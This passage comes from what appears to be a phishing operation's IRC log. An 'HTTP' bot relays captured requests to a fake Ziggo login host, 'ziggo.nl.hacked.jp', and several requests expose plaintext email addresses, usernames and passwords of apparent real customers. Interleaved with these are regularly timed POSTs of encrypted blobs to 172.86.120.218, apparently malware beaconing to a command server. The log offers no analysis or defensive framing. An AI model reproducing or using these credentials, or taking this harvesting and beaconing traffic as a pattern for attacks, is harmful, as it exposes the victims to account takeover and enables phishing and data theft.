  2941. [11:17] <HTTP> Connection: keep-alive
  2942. [11:17] <HTTP> Content-Length: 135
  2943. [11:17] <HTTP> Cache-Control: max-age=0
  2944. [11:17] <HTTP> Origin: http://219.93.200.189
  2945. [11:17] <HTTP> Upgrade-Insecure-Requests: 1
  2946. [11:17] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2947. [11:17] <HTTP> Content-Type: application/x-www-form-urlencoded
  2948. [11:17] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2949. [11:17] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2950. [11:17] <HTTP> Accept-Encoding: gzip, deflate
  2951. [11:17] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2952. [11:17] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=teusyvonne%40ziggo.nl&userId=teusyvonne%40ziggo.nl&password=Zonnestraal&button=
  2953. [11:17] <HTTP> Socket initiated: 91.230.47.3
  2954. [11:17] <HTTP> GET / HTTP/1.0
  2955. [11:17] <HTTP> Connection: close
  2956. 02[11:18] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  2957. [11:22] <HTTP> Socket initiated: 176.74.57.165
  2958. [11:22] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2959. [11:22] <HTTP> Host: ziggo.nl.hacked.jp
  2960. [11:22] <HTTP> Connection: keep-alive
  2961. [11:22] <HTTP> Content-Length: 111
  2962. [11:22] <HTTP> Cache-Control: max-age=0
  2963. [11:22] <HTTP> Origin: http://219.93.200.189
  2964. [11:22] <HTTP> Upgrade-Insecure-Requests: 1
  2965. [11:22] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 7.0; HUAWEI VNS-L31 Build/HUAWEIVNS-L31) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36
  2966. [11:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  2967. [11:22] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2968. [11:22] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2969. [11:22] <HTTP> Accept-Encoding: gzip, deflate
  2970. [11:22] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2971. [11:23] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=teusyvonne&userId=teusyvonne&password=Zonnetje1&button=
  2972. [11:24] <HTTP> Socket initiated: 84.25.41.55
  2973. [11:24] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2974. [11:24] <HTTP> Host: ziggo.nl.hacked.jp
  2975. [11:24] <HTTP> Connection: keep-alive
  2976. [11:24] <HTTP> Content-Length: 126
  2977. [11:24] <HTTP> Cache-Control: max-age=0
  2978. [11:24] <HTTP> Origin: http://219.93.200.189
  2979. [11:24] <HTTP> Upgrade-Insecure-Requests: 1
  2980. [11:24] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
  2981. [11:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  2982. [11:24] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  2983. [11:24] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2984. [11:24] <HTTP> Accept-Encoding: gzip, deflate
  2985. [11:24] <HTTP> Accept-Language: nl-NL,nl;q=0.8,en-US;q=0.6,en;q=0.4
  2986. [11:24] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Marc.Vanhommerig&userId=Marc.Vanhommerig&password=ikBen2op3mei&button=
  2987. [11:25] <HTTP> Socket initiated: 71.235.124.202
  2988. [11:25] <HTTP> POST / HTTP/1.1
  2989. [11:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  2990. [11:25] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; TBTE)
  2991. [11:25] <HTTP> Host: 172.86.120.218
  2992. [11:25] <HTTP> Content-Length: 352
  2993. [11:25] <HTTP> Cache-Control: no-cache
  2994. [11:25] <HTTP> FqNXw4/PMZmMPt8e1MUR7t+yug0l1Rg1J27FP2mawgmH85TKHVyXguGB1gRWgv6d/as6KNbwXyAM5PJPTu9J6Xv5h6TPPsT1TJGxR3mLtsL+3GO9YTsiRh4RuR3wWhr9awNQIsonvXWXeQyMhLpyEXXmRQBVIb6Ndt6cfx7MHx2n6l8srVj/NG6nYwmS8JkxsACrH8XfIStpFBzmSw1onCzUX1Ij7SjgDKV/ae5ajroVisWHqBO9mD7TK7YLj5WQspF+EBogD/KcqBfzYkQeoZY8QPwVBfzrxlneaKsowPmbcbkWpYnIc6e55ZmQILOteeaiIPaTbKJdCHY9CzrLSwm68PVnGzZ7
  2995. [11:27] <HTTP> Socket initiated: 71.235.124.202
  2996. [11:27] <HTTP> POST / HTTP/1.1
  2997. [11:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  2998. [11:27] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; TBTE)
  2999. [11:27] <HTTP> Host: 172.86.120.218
  3000. [11:27] <HTTP> Content-Length: 376
  3001. [11:27] <HTTP> Cache-Control: no-cache
  3002. [11:27] <HTTP> RqwNwNnNYHUrQXdkYZE7z+mx3EqXc7LWz0AcI0I+I9GV/jm0dxO552lWt/jfbPj/e8MkO0g88k9sRMRJhEZNXJHequEoJRirO5NrKLFlVBZeBmXT77kpzsYRy9up5+FIXPRhEUaAyvUJknPkdxW1G0UEJCsaaSjVU7DwuOV2jiH+hxAkb4sAZ2VRVRv1hoE0XqBBxX9fy6DnMqu0p225ObngysKwaudX/6jt4SFeOazA/ffltiFMSZTG6qtvtiC1VqXAk5WMeQTt2A6qtB5Q1TU3CnRVoSy0fck6QmaHXMBh4cw0SMYduP3arbbUzCUDc1IKAol1UhZwGYu3TWvRBIU7mvwppXN67wkqnQEVwqMjo/++p1POy0s=
  3003. [11:29] <HTTP> Socket initiated: 71.235.124.202
  3004. [11:29] <HTTP> POST / HTTP/1.1
  3005. [11:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  3006. [11:29] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; TBTE)
  3007. [11:29] <HTTP> Host: 172.86.120.218
  3008. [11:29] <HTTP> Content-Length: 380
  3009. [11:29] <HTTP> Cache-Control: no-cache
  3010. [11:29] <HTTP> Q61cyIzKNnVa2a1res8+msRD9GGwfXjkBE2eLisotsh2ftN3njiEPR60bG/Pug9vW8TXPY10xtaTi/MMNtL0LVCfrsbowCZx2ZWEkpVX8j5E/9TC0JkiP/51lNjoO7YsBX8YLKZ+WQ+WJ3F/D1qlxbFp2+iseROmjGz9ExKyYjcqv/PhKk5GFwTTPghYYJ7eqGsKBbLGBTE3LzzQCKJCCik5ca1EjOLzDDtdcSVBndZJknRl/u0WyUFZ/q4dFI5S2amlSFidYB8UBG8p8nJFJh+fGEEibOS+jlFQN/H7acRmjsiQraV2iXly6bfHUl2IiKqE71AYQ2AszFFXrCuWF4Q7PJpbmmlUczup1wLpbGfZFA9J0XMmEJALsQ==
  3011. [11:31] <HTTP> Socket initiated: 71.235.124.202
  3012. [11:31] <HTTP> POST / HTTP/1.1
  3013. [11:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  3014. [11:31] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3015. [11:31] <HTTP> Host: 172.86.120.218
  3016. [11:31] <HTTP> Content-Length: 364
  3017. [11:31] <HTTP> Cache-Control: no-cache
  3018. [11:31] <HTTP> R/ZbkovJZVashcDIFTHGMeU1htxm4dojP/TXzz3ewq6gaooI1FUeJmZzPIFSTH07hz8a92KbfpJLilRjYttAiCys6Z3SkFQ8ibkwiTGj/7YCC7Q6hhHM/LlbT2P2APzKbqzOGoCxLZuKBFUI+5Fq/7p0VO8c67bb7FPGcJcwDMIr+D/b8hFo5I/rhOLabA64zyfIiREmg2hYyjiVWGhxfuXf1GwglsMQiaksH6AcvlrG2/DBGDxYP26jD/2LOZoZ58Xve1mXo9f6VsP3BcqopaefHhVstVy2HVHNrtAD1W8rPSDPCGxT3Vty1ldKhRWuQK/mZ/qZFriqRlwpesT0uwKInh+5tEqrSFfA1q8Sh624
  3019. [11:33] <HTTP> Socket initiated: 71.235.124.202
  3020. [11:33] <HTTP> POST / HTTP/1.1
  3021. [11:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  3022. [11:33] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3023. [11:33] <HTTP> Host: 172.86.120.218
  3024. [11:33] <HTTP> Content-Length: 408
  3025. [11:33] <HTTP> Cache-Control: no-cache
  3026. [11:33] <HTTP> RfNZldrANX5j4zAl9JRo9jTzlme6TWmOsm/DXmSYk3djgvF+07c6F3tS9xLw1D7k+aQssnFj9lBY3k1673EquQxKLtGBaq5w14uJ1x490dQ6tRyXkwwHShlx1iojA3/o0by3r0VcsXlGchZtlirqOT5jgIw4ucwl/JOnJ+gJJTncLaz/S9TnWwUQFEqolAyovwwt7neHlJ7LYMGn+mnTgtKnaanvsf1RjpNGjnQALUthalAoy80CDnCLQpxYb1Ij64QxwbFTQrk37sZF1VNDySX/xY6JQdXT7Bf66saZAwVJo5gaOk/c14jsAWTLBY9g9b6wIobn517ZxEE4n+HJDGLJtvZpxIuQj4/qNVzskV6uaFpD92jXllyj79T1aK9SvYaE0AuDC0I10rhend2c/Q==
  3027. [11:35] <HTTP> Socket initiated: 71.235.124.202
  3028. [11:35] <HTTP> POST / HTTP/1.1
  3029. [11:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  3030. [11:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3031. [11:35] <HTTP> Host: 172.86.120.218
  3032. [11:35] <HTTP> Content-Length: 388
  3033. [11:35] <HTTP> Cache-Control: no-cache
  3034. [11:35] <HTTP> E6Vcl4mbN4TA5VYhJGz21+pGnb2bPLl/37eg0BJaS1Mw5DfPaQRxEQUy2iG0+h5mJNCLdokWe/WMNoaD1Az+FmDy1dsdjhLdVRie2yyeesW9G3YcuPiisIcM6xKVDdCUkASr3ZVqcA+9VRYnM6CBuAynNrF8+vnsuC8kMMVbU88og9+wLI75eYwmUS8N3vlKajsT+XtSRNudzmOYt62s+zY90LhcMFiBms9Jo4CSg1+AH9DsRKRxKoPkSQNBilD+vai/m5nxI91qwA6QNlAJHwhjp99buOodkavxrwnZJSxvr2m5Qy2eacslr6MbqR5Z3vCCxuFUeILklv8cr49T6mPARCnvWbVpY8ADkSQjNHxXVQk7H/goD+MxyTiMSeZHSoE=
  3035. [11:37] <HTTP> Socket initiated: 71.235.124.202
  3036. [11:37] <HTTP> POST / HTTP/1.1
  3037. [11:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  3038. [11:37] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3039. [11:37] <HTTP> Host: 172.86.120.218
  3040. [11:37] <HTTP> Content-Length: 388
  3041. [11:37] <HTTP> Cache-Control: no-cache
  3042. [11:37] <HTTP> SqxXxYzLZ3c94gINdQKRiJkOvOLTuFAipzB77NCgCoU6RugWyLLUaz/a7hWx9fmX/sX0NRynJlkWy/MZUvoWQ/J+oWPPZuXgY1GB139gBks5YvysbuqkqbLyr/GUSc7ICy67zRaW5CdfmKGQ7HnIAk4QYqQvT546uy548O6Qgl6Wuv7TCrwul2JRzz925+6cYUxDsnSU3s8AbIK4LHfbPblMg37+wNb5OstgEGcxoBWnQ1BD0LwPfKem17Tq7i9nN61f1Wbu/qdn7l1A571dmJRDVaG1V0mh0FoQMhSDXxAjU7keyGdlxZdx5LOZ7Nwb+ZhEpIO4Io/KYgH1HcfakaigNxGoKv0/ZaotGE0OhLipTBgV1sTNq/0XHkOD8vM8t9o=
  3043. [11:39] <HTTP> Socket initiated: 71.235.124.202
  3044. [11:39] <HTTP> POST / HTTP/1.1
  3045. [11:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  3046. [11:39] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3047. [11:39] <HTTP> Host: 172.86.120.218
  3048. [11:39] <HTTP> Content-Length: 400
  3049. [11:39] <HTTP> Cache-Control: no-cache
  3050. [11:39] <HTTP> EfRdxdnLMtVkY+xCtPFY7rg7v8syWkyLNMXHFT0O7uM7mnMbG4yiVJeByd3YqpgDJ8nagVj6wl22VqPp9pmz4zb1UM1f2fPA3wB1ZAFasL3D1zl/VRUO7OKfEskx7VqsBc1RgBLNNTqUvfiBwMtDIYg8R6kluk6WigvSKAseGtCLDVNZFysyyxz1dxYpk4cZrnNgrB5+EwONQfVZ8gtVos6ha77PFeAODbhhssqL7Do/czeA54o6Fpfo7nX+dv45U+WpH0Mp0+y+cMsfldV0ThGAf2jXPuuLKX1q/JhfCW1koXl5HqTlPve6YR7jfl7zOjTlX7Q7o6vlNMEAFLtPQ6b02a3LmayyXXSqk6XxOUv0g6SIsZkgW2rFmfMnd+xap8m9smm0mj7sJw==
  3051. [11:41] <HTTP> Socket initiated: 71.235.124.202
  3052. [11:41] <HTTP> POST / HTTP/1.1
  3053. [11:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  3054. [11:41] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3055. [11:41] <HTTP> Host: 172.86.120.218
  3056. [11:41] <HTTP> Content-Length: 428
  3057. [11:41] <HTTP> Cache-Control: no-cache
  3058. [11:41] <HTTP> Q/RZxo7LZL8IGmn6UOTgnl7H6Wu1CXWDzndETHS3tdbRW6m1bV/q+XUnHGTqMrTuXHnlg3bXceR+JL+IcP2+dzQvfqJd6xpQRl+JdZwRNlLJu8O99Zzfir3iQTpQDyOmm3dGVK1cMI5r3TQ7hoplLC2/21MyRFr6H5B5mPkHOjJzK05Awq8yuUOFdISX63TtxsSWFYpta+d0jM6ALZymgHHYwq3L/yvi2XvtoGJdmZk6i9Yteo4g/r4YtfzkA9HnLdVTJZUqsAacXrNVEa/3Ya9VvmpaQ0GlDV+nfJE4YAark5L2BRtBYJHs1OIsDV0YPi0az1H0BiYDuoJrVWIG8mKEPzxtr/uDj4X/K8/7I5VlgYUHdRmLc6dw3oCUM72umUUtT22hcFS7qk
  3059. [11:41] <HTTP> hVxvN270ZzpEWQCAAScWngoTTCB3s=
  3060. [11:43] <HTTP> Socket initiated: 71.235.124.202
  3061. [11:43] <HTTP> POST / HTTP/1.1
  3062. [11:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  3063. [11:43] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3064. [11:43] <HTTP> Host: 172.86.120.218
  3065. [11:43] <HTTP> Content-Length: 364
  3066. [11:43] <HTTP> Cache-Control: no-cache
  3067. [11:43] <HTTP> R6BcyNieYMiGBwbGPUEQg2ufPHK6aOVdBhMY3OTWNzqkCjm9g2CtRWweb5Gk/RSaRowLSZe+fZj6kkUYKb4ERYE6upPS8wWFdbA+jv2ZjPBAxLxJHguVErtk8+s4K1HL3t/b16PsJGW9fS3UEisPhVBc3lQQdXdipEjgItCByI6K5coewyaMkPMRzksQf+x9hnrqt1xazUsdn9XPgxC/Uw7Nkb2iDvAAgL4A1Ow8ME+nvTB/cM7QdwhJc6Kg/hGvDrrNqGleDyJiBj9OmzTh8vn2mwE/azayDgPQ7oKnkXViGWWyf8F60Z13jQm6oXHFxizaDusPPvY4CAPPzNgmzXFYDYhjs6UxOBVnA1JzapCB
  3068. [11:45] <HTTP> Socket initiated: 71.235.124.202
  3069. [11:45] <HTTP> POST / HTTP/1.1
  3070. [11:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  3071. [11:45] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3072. [11:45] <HTTP> Host: 172.86.120.218
  3073. [11:45] <HTTP> Content-Length: 428
  3074. [11:45] <HTTP> Cache-Control: no-cache
  3075. [11:45] <HTTP> QaxdlInLNrp7veVW04n2RayLIJN+Fakx/B0y/OZrZEj7U/KaJhIjhgIN7myHcUcaF2WbEyeDZ6pg6kkP+FMgoKNBP3eaBoizmqrBtr8ZqeZBMO8me/gHLP7VNzlPOzvqgO9skZBoP1ip+msr/WFJLYO8L/w1a79ngEn6w7uYjan9sSf+qiuYd7UKsDFcuzQatjUyIKGlRRubw6l/iAHe77Z6qYyfhU2eN6PmV7PR0grZB59EG6QfQZ8aOU9AQbfs6WW/54pPh5Wq0IkuXyE3eZQVtuIv3AKN1qFWntQCHFXB+MsT0s7yvmxJ2E6q7O6BaDuhjYxzYub0FMI3BKqPSOoDc+ekuRtqfZg+LuEf1WFSg1vg4OTQ59sy+RiLJ5eLU8MYQeo9VesVLj
  3076. [11:45] <HTTP> QPCIQbQEe0dqg5yeyvWvACQelCMQ==
  3077. [11:45] <HTTP> Socket initiated: 80.114.36.47
  3078. [11:45] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3079. [11:45] <HTTP> Host: ziggo.nl.hacked.jp
  3080. [11:45] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3081. [11:45] <HTTP> Accept-Language: nl-nl
  3082. [11:45] <HTTP> Accept-Encoding: gzip, deflate
  3083. [11:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  3084. [11:46] <HTTP> Origin: http://219.93.200.189
  3085. [11:46] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
  3086. [11:46] <HTTP> Connection: keep-alive
  3087. [11:46] <HTTP> Upgrade-Insecure-Requests: 1
  3088. [11:46] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3089. [11:46] <HTTP> DNT: 1
  3090. [11:46] <HTTP> Content-Length: 126
  3091. [11:46] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Pawilly%40ziggo.nl&userId=Pawilly%40ziggo.nl&password=16conn61&button=
  3092. [11:46] <HTTP> Socket initiated: 217.122.22.62
  3093. [11:46] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3094. [11:46] <HTTP> Host: ziggo.nl.hacked.jp
  3095. [11:46] <HTTP> Connection: keep-alive
  3096. [11:46] <HTTP> Content-Length: 134
  3097. [11:46] <HTTP> Cache-Control: max-age=0
  3098. [11:46] <HTTP> Origin: http://219.93.200.189
  3099. [11:46] <HTTP> Upgrade-Insecure-Requests: 1
  3100. [11:46] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-J510FN Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  3101. [11:46] <HTTP> Content-Type: application/x-www-form-urlencoded
  3102. [11:46] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3103. [11:46] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3104. [11:46] <HTTP> Accept-Encoding: gzip, deflate
  3105. [11:46] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  3106. [11:46] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=S.l.devries%40ziggo.nl&userId=S.l.devries%40ziggo.nl&password=tommie12&button=
  3107. [11:47] <HTTP> Socket initiated: 71.235.124.202
  3108. [11:47] <HTTP> POST / HTTP/1.1
  3109. [11:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  3110. [11:47] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3111. [11:47] <HTTP> Host: 172.86.120.218
  3112. [11:47] <HTTP> Content-Length: 436
  3113. [11:47] <HTTP> Cache-Control: no-cache
  3114. [11:47] <HTTP> S6Fck4jBMqNx1LLn7MIuDZcx5nIBgL1m91VjeomIb34tcQoxCwLodibCglbf978TWdjsEqbhl0sZ440w2aCeBPt9pGs7BbhN9AaZ0TTqM5wzSPwU8VAuyIiFzt7QZ5BdtBBj5ZAFGFZQC8+OaObxa8De5tdJOWWcPqZ06No7XOrHNFtsc1whjhb+z2yjP8B0H5+DcEg4KDA9vo076/03naP78IzowRQNvUnbhurb53kF7t27IPMJiKvut+2wOLPD7Pv3yGcV8/haaEyE8YBlpMp7SAka2qRn3rc1sYuCa6SnzEnbeUZIAs8Gnl+vQz1wzSZ/ANszivuSc2YE/rDLlu89IHaRbVDM0L6RbSj2V7OyDi6UepXHylZC6BzYDOrO6PIlYGxXz2CGG8
  3115. [11:47] <HTTP> Z/6gZzaFHQgvDHGWuEgitQeQHe5StdB0AXMRA=
  3116. [11:49] <HTTP> Socket initiated: 71.235.124.202
  3117. [11:49] <HTTP> POST / HTTP/1.1
  3118. [11:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  3119. [11:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3120. [11:49] <HTTP> Host: 172.86.120.218
  3121. [11:49] <HTTP> Content-Length: 404
  3122. [11:49] <HTTP> Cache-Control: no-cache
  3123. [11:49] <HTTP> EPMNw9jIMo4KXYBPHnoUbD0nBWJfzmv0/or78cFWhZsOTjjCUgahoImXYiu9OSXouMcJlIJRzrlqU/saEB5D9q2by5A7Nu83qEbm1HVuAjUuj6nJroSg9Bge/V6Zz1RRpjT/mX5zq7c3i3WyQevXlpwzY5Gb3GFbqRuVdjc3d5Xkx/jae4R7ysgsZ5YTr+6gK+fiZD1/RHTHs0sqW7tOq+scm60Pmxxh8W0hoRMFXJRNVgde0xsAnnrcQkgx2jrRiLR8h3fR2JZd78WuP73nFUkDEiE3rG7O2FsFztU3LHN+ko23O+cUKhuZyf5Ks7yJaWTaWcFvJ+qwDoalmrqArq42RNOvhGsreOcmP9WFtEbaMH/uHbLZAwzR19YMbD5wuH863wQcK/XBX/Lcw9k=
  3124. [11:49] <HTTP> Socket initiated: 217.122.22.62
  3125. [11:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  3126. [11:49] <HTTP> Host: ziggo.nl.hacked.jp
  3127. [11:49] <HTTP> Connection: keep-alive
  3128. [11:49] <HTTP> Content-Length: 134
  3129. [11:49] <HTTP> Cache-Control: max-age=0
  3130. [11:49] <HTTP> Origin: http://219.93.200.189
  3131. [11:49] <HTTP> Upgrade-Insecure-Requests: 1
  3132. [11:49] <HTTP> User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SAMSUNG SM-J510FN Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/5.4 Chrome/51.0.2704.106 Mobile Safari/537.36
  3133. [11:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  3134. [11:49] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  3135. [11:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  3136. [11:50] <HTTP> Accept-Encoding: gzip, deflate
  3137. [11:50] <HTTP> Accept-Language: nl-NL,nl,en-US,en
  3138. [11:50] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=S.l.devries%40ziggo.nl&userId=S.l.devries%40ziggo.nl&password=Tommie12&button=
  3139. [11:51] <HTTP> Socket initiated: 71.235.124.202
  3140. [11:51] <HTTP> POST / HTTP/1.1
  3141. [11:51] <HTTP> Content-Type: application/x-www-form-urlencoded
  3142. [11:51] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3143. [11:51] <HTTP> Host: 172.86.120.218
  3144. [11:51] <HTTP> Content-Length: 372
  3145. [11:51] <HTTP> Cache-Control: no-cache
  3146. [11:51] <HTTP> FPFYyNnNZM5XG0GZ2XzlznylWIdkXR5AOdOlGCOzTvuo80WLSOK4jRI8Wza8MUFs4xFMs4Dc7MWi8/uRSPQlKyKtU4Wy0Uavh+dJGapD0voz74fflc5isrYKjFFRlqeyY5AplqaCCZ5FHzhTUNmRxzCEaiOp6EFuOKnokeYCcfZ0Z36RR4DJyBimJJ/9mxgs2co7SHIxVobVGnoR6x0G+waMVflbbdBzaANxuZqB+M6chNHdCmt7I79+7az3Up0B2NrrmufsUB9bDbU3za78e2nzOmvpWBCb5Z6u0khY0PWETsxPU0vcOHlV1JY3UgG0UmB1Ex6L/8K69MY5FLQnSluwTnKVQqtI7y9K+ZIrqlFV/fLeQw==
  3147. [11:53] <HTTP> Socket initiated: 71.235.124.202
  3148. [11:53] <HTTP> POST / HTTP/1.1
  3149. [11:53] <HTTP> Content-Type: application/x-www-form-urlencoded
  3150. [11:53] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3151. [11:53] <HTTP> Host: 172.86.120.218
  3152. [11:53] <HTTP> Content-Length: 376
  3153. [11:53] <HTTP> Cache-Control: no-cache
  3154. [11:53] <HTTP> F6JcyYmbYH3lJIx5H16ahOJiP+5nUgYIOEnK/Eckbkj4ICSQT0za6f295Psspkz8FK5m8DW/PFeQ3/RaO6nJYTXOM7MDllXeNoTgRAjbxMeGZNLGOr37nLlfZwcpDRAafDDpIvjhHXe/KHvkulgXXXAKfuXjzODX082+7Op6aTuxeohAIvkAkPrDwfWzuKAeWihs6RQgy6Usuh6wgYZBgBKCXK6sNHzQ2iY3rsaUp1+gyt0QMyyrQ/q12WGyF1Xslvg2bEAwTsIu4NrgZAacJyDB+ITbAP0jH6PjFMJatv8mxs2q5eZq1jJblW6w+sXBSkKa0wdN4ceuiejt74nVPnELBnUSyJBSA8NCJ6kX5DXw6rVJvQx1Tw==
  3155. [11:55] <HTTP> Socket initiated: 71.235.124.202
  3156. [11:55] <HTTP> POST / HTTP/1.1
  3157. [11:55] <HTTP> Content-Type: application/x-www-form-urlencoded
  3158. [11:55] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3159. [11:55] <HTTP> Host: 172.86.120.218
  3160. [11:55] <HTTP> Content-Length: 376
  3161. [11:55] <HTTP> Cache-Control: no-cache
  3162. [11:55] <HTTP> F/deyIiZMtrcwmfxHUgSwc2o5zWJY5AIZv79vZlmf1DzkWZLWkgTzrnELNVJsuDt18aO1FcQMV6y4jlgWvdYcJG91Y9lAlO8geCAZxVvzaZup4vTivgCUTR76D8dicQuDTW73EkIwZwVKv+nGOS208OTPn53jSTvZV2dgHHKFomNdowiKdfrl73qtjPfmmsCTIphksTPNoPP6Rnv9+BlkQ9DSpZFY9AFDqJm5uU6S2LMLTHnXXIwATKRY7lUdkFB13oPXh5gx63MD9svbrEUmEdD1u9Ut840gx6Llf+U2ylMUzhC0IfnmmmXEvGFc7JQyFdQVvkEJnnxWpMc6pKenn+phI6VSb2cDd/hBiiRzSyfS897dQUe9Xs=
  3163. [11:57] <HTTP> Socket initiated: 71.235.124.202
  3164. [11:57] <HTTP> POST / HTTP/1.1
  3165. [11:57] <HTTP> Content-Type: application/x-www-form-urlencoded
  3166. [11:57] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TBTE; rv:11.0) like Gecko
  3167. [11:57] <HTTP> Host: 172.86.120.218
  3168. [11:57] <HTTP> Content-Length: 412
  3169. [11:57] <HTTP> Cache-Control: no-cache
  3170. [11:57] <HTTP> SqYPxtidY3VHibDaJmhd/hAKrQdDJtwXbI48X3YCZKu0FWKSPRcT+DNMIRIVTgNnM5ipHkzNVXJ6BI/8dU5jRsqe3dhZsYdbByLR1/3p2Y11YCCQHB1xT+UM95eMy97XHU7A3P69tgJe4htNsTH710KJRWvA8Sgx0HzA9MFjNwVcKu0yVYG6IoCVWQrVqK7DBhwK3Whv6wAJFmH/kFxKWpdafzK8uuFo8dV3Ai5zhHIw0N/v6AnRFCmdWI2GW1FcTJF0MbI8EWA5O7pU14cbE2XX4OnudRIu9Am1U5iW+KcCWxSIDz+LmVCdPaSWJtEiYo31ZRXBxh9AvTrW2AbCf9eZMKPZ+Gr0G+2xJHbZNF271XI8XfYQokBwWKXmRNv7sCaLiSPAqqVBec
  3171. [11:57] <HTTP> I3h7LDzC9wPYte
  3172. [11:59] <HTTP> Socket initiated: 71.235.124.202
